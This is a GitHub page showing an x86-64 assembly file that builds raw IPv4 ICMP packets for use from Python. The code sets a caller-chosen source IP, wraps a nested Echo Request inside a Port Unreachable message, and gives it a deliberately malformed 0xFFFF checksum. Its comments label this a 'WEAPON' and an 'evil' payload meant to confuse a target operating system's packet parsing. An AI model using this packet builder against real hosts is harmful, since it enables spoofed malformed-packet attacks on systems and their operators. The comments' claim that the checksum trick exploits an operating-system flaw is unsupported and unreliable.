-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathlibicmp_v4_encap.asm
More file actions
124 lines (108 loc) · 5.7 KB
/
libicmp_v4_encap.asm
File metadata and controls
124 lines (108 loc) · 5.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
section .text
global prepare_icmp
global prepare_tcp
; =====================================================================
; 1. WEAPON: ICMP "EVIL" TIMEOUT PAYLOAD BUILDER
; =====================================================================
prepare_icmp:
; Sequentially build the packet structure
call build_ip_header_icmp ; 1. Build IPv4 Header (0-19 bytes)
call build_icmp_timeout_headers ; 2. Build Outer & Nested ICMP Headers (20-35 bytes)
call copy_payload_icmp ; 3. Append custom payload after headers
; Calculate IP Header Checksum (Offsets 0 to 20)
mov r14, 0 ; Start offset
mov r15, 20 ; End offset
call perform_checksum
mov word [rdi + 10], ax ; Inject calculated IP checksum at offset 10
; Calculate ICMP Header + Payload Checksum (Offsets 20 to end)
mov r14, 20 ; Start offset (ICMP start)
mov r15, 36 ; Header end
add r15, rdx ; Add payload length (rdx) to total end offset
call perform_checksum
mov word [rdi + 22], ax ; Inject calculated ICMP checksum at offset 22
ret
; =====================================================================
; SUBROUTINES / HELPER FUNCTIONS
; =====================================================================
build_ip_header_icmp:
mov byte [rdi], 0x45 ; IPv4 (4) and Header Length (5 words = 20 bytes) -> 0x45
mov byte [rdi + 1], 0 ; Type of Service (TOS)
; Calculate Total Length: IP Header (20) + ICMP Header (16) = 36 + payload (rdx)
mov rax, 36
add rax, rdx
xchg ah, al ; Convert to Network Byte Order (Big Endian)
mov word [rdi + 2], ax ; Set Total Length
mov byte [rdi + 9], 1 ; Set Protocol to ICMP (1)
; Generate pseudo-random IP ID using CPU timestamp counter
push rdx
rdtsc ; Read Time-Stamp Counter into EDX:EAX
mov word [rdi + 4], ax ; Set Dynamic IP ID
pop rdx
mov word [rdi + 6], 0x0040 ; Flags: Don't Fragment (DF) set (Little Endian for 0x4000)
mov byte [rdi + 8], 255 ; Time to Live (TTL) = 255 (Max)
mov word [rdi + 10], 0 ; Initial IP Checksum (must be 0 before calculation)
mov dword [rdi + 12], ecx ; Set Source IP (passed via rcx)
mov dword [rdi + 16], r8d ; Set Destination IP (passed via r8)
ret
build_icmp_timeout_headers:
; --- OUTER ICMP HEADER (Type 3, Code 3: Destination/Port Unreachable) ---
mov byte [rdi + 20], 3 ; Outer Type: 3 (Destination Unreachable)
mov byte [rdi + 21], 3 ; Outer Code: 3 (Port Unreachable)
mov word [rdi + 22], 0 ; Initial Outer Checksum (0)
mov word [rdi + 24], 0x1337 ; Unused/ID field (Arbitrary leet hex)
mov word [rdi + 26], 0xFFFF ; Unused/Seq field
; --- INNER ICMP PAYLOAD (THE EVIL NESTED PACKET) ---
; This part exploits OS dissector logic. It mimics an original packet that caused the error.
; Target OS will attempt to parse this and get confused by the negative zero checksum.
mov byte [rdi + 28], 8 ; Inner Type: 8 (Echo Request / Ping)
mov byte [rdi + 29], 0 ; Inner Code: 0
mov word [rdi + 30], 0xFFFF ; Inner CHECKSUM: Negative Zero (Evil Checksum logic flaw)
mov word [rdi + 32], 0xDEAD ; Inner ID (Dead)
mov word [rdi + 34], 0x0300 ; Inner Sequence
ret
copy_payload_icmp:
xor r9, r9 ; Clear r9 register to use as loop counter
.loop:
cmp r9, rdx ; Check if counter reached payload size
je .done ; If done, exit loop
mov al, byte [rsi + r9] ; Read 1 byte from source (payload pointer)
mov byte [rdi + 36 + r9], al; Write 1 byte to destination (after 36 bytes of headers)
inc r9 ; Increment counter
jmp .loop ; Repeat
.done:
ret
perform_checksum:
; RFC 1071 standard 16-bit one's complement sum algorithm
xor eax, eax ; Clear eax (Accumulator for the sum)
mov r10, r14 ; r10 = Current offset
.loop:
mov r11, r15 ; r11 = End offset
sub r11, r10 ; Remaining bytes to process
cmp r11, 1 ; Check if only 1 byte is left (odd length)
jle .last ; If <= 1 byte left, jump to final block
movzx r12d, word [rdi + r10]; Read 2 bytes (1 word) zero-extended
add eax, r12d ; Add to accumulator
add r10, 2 ; Move offset forward by 2 bytes
jmp .loop ; Repeat
.last:
je .final ; If exactly 1 byte left, handle it
jmp .wrap ; If 0 bytes left, finalize calculation
.final:
movzx r12d, byte [rdi + r10]; Read the last remaining byte
add eax, r12d ; Add to accumulator
.wrap:
mov r11d, eax ; Copy sum to r11d
shr r11d, 16 ; Shift right to get the carry bits
and eax, 0xFFFF ; Mask eax to keep only the lower 16 bits
add ax, r11w ; Add the carry bits back to the sum
adc ax, 0 ; Add any final carry (add with carry)
not ax ; One's complement (invert bits) for final checksum
ret
; =====================================================================
; DUMMY TCP FUNCTION
; =====================================================================
; Empty TCP function to prevent Python ctypes from crashing if called
prepare_tcp:
ret
; Tell the linker that this object does not require an executable stack (Security best practice)
section .note.GNU-stack noalloc noexec nowrite progbits